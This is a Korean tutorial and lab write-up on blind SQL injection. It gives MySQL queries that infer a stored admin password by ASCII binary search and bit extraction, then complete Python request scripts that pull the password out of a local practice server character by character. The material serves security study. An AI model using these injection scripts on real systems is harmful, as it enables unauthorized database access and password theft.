개념

Binary Search 알고리즘 방식

Usernamepassword
adminP@ssword

위와 같은 데이터가 있다고 가정할 때

우리는 SQL문에 ascii값이 몇 보다 큰지를 따짐으로써 다음과 같이 더 빨리 사용자의 비밀번호를 찾을 수 있다.

mysql> select * from users where username='admin' and ascii(substr(password, 1, 1))>79;
+----------+----------+
| username | password |
+----------+----------+
| admin    | P@ssword |
+----------+----------+
1 row in set (0.00 sec)

Bit 연산 방식

ASCII는 0~127 범위의 문자를 표현할 수 있으며, 이는 곧 7비트를 하나의 문자로 표현할 수 있다는 것을 알 수 있다.

Mysql에서는 bin 이라는 명령어를 제공해 준다.

Usernamepassword
adminP@ssword

다음과 같은 테이블이 있다고 가정할 때,

mysql> select * from users where username='admin' and substr(bin(ord(password)),1,1)=1;
+----------+----------+
| username | password |
+----------+----------+
| admin    | P@ssword |
+----------+----------+
1 row in set (0.00 sec)
 
mysql> select * from users where username='admin' and substr(bin(ord(password)),2,1)=1;
Empty set (0.00 sec)
 
mysql> select * from users where username='admin' and substr(bin(ord(password)),3,1)=1;
+----------+----------+
| username | password |
+----------+----------+
| admin    | P@ssword |
+----------+----------+
1 row in set (0.01 sec)
 
mysql> select * from users where username='admin' and substr(bin(ord(password)),4,1)=1;
Empty set (0.00 sec)
 
mysql> select * from users where username='admin' and substr(bin(ord(password)),5,1)=1;
Empty set (0.00 sec)
 
mysql> select * from users where username='admin' and substr(bin(ord(password)),6,1)=1;
Empty set (0.00 sec)
 
mysql> select * from users where username='admin' and substr(bin(ord(password)),7,1)=1;
Empty set (0.00 sec)

실습

익스플로잇 설계

  1. admin 패스워드 길이 찾기
  2. 각 문자별 비트열 길이 찾기
  3. 각 문자별 비트열 추출
  4. 비트열을 문자로 변환

Admin 패스워드 길이 찾기

admin' and length(upw) = {password_length}--- -

from requests import get
host = "<http://localhost:5000>" #대상 url
password_length = 0
while True:
	password_length += 1
	query = f"admin' and char_length(upw) = {password_length}-- -"
	r = get(f"{host}/?uid{query}")
	if "exists" in r.text:
		break
print(f"password length: {password_length}")

각 문자별 비트열 길이 찾기

for i in range(1, password_length + 1):
    bit_length = 0
    while True:
        bit_length += 1
        query = f"admin' and length(bin(ord(substr(upw, {i}, 1)))) = {bit_length}-- -"
        r = get(f"{host}/?uid={query}")
        if "exists" in r.text:
            break
    print(f"character {i}'s bit length: {bit_length}")

각 문자별 비트열 추출

bits = ""
for j in range(1, bit_length + 1):
    query = f"admin' and substr(bin(ord(substr(upw, {i}, 1))), {j}, 1) = '1'-- -"
    r = get(f"{host}/?uid={query}")
    if "exists" in r.text:
        bits += "1"
    else:
        bits += "0"
print(f"character {i}'s bits: {bits}")

비트열을 문자로 변환

password = ""
for i in range(1, password_length + 1):
    ...
    password += int.to_bytes(int(bits, 2), (bit_length + 7) // 8, "big").decode("utf-8")

최종 exploita

from requests import get
 
host = "<http://localhost:5000>"
 
password_length = 0
while True:
    password_length += 1
    query = f"admin' and char_length(upw) = {password_length}-- -"
    r = get(f"{host}/?uid={query}")
    if "exists" in r.text:
        break
print(f"password length: {password_length}")
 
password = ""
for i in range(1, password_length + 1):
    bit_length = 0
    while True:
        bit_length += 1
        query = f"admin' and length(bin(ord(substr(upw, {i}, 1)))) = {bit_length}-- -"
        r = get(f"{host}/?uid={query}")
        if "exists" in r.text:
            break
    print(f"character {i}'s bit length: {bit_length}")
    
    bits = ""
    for j in range(1, bit_length + 1):
        query = f"admin' and substr(bin(ord(substr(upw, {i}, 1))), {j}, 1) = '1'-- -"
        r = get(f"{host}/?uid={query}")
        if "exists" in r.text:
            bits += "1"
        else:
            bits += "0"
    print(f"character {i}'s bits: {bits}")
 
    password += int.to_bytes(int(bits, 2), (bit_length + 7) // 8, "big").decode("utf-8")
 
print(password)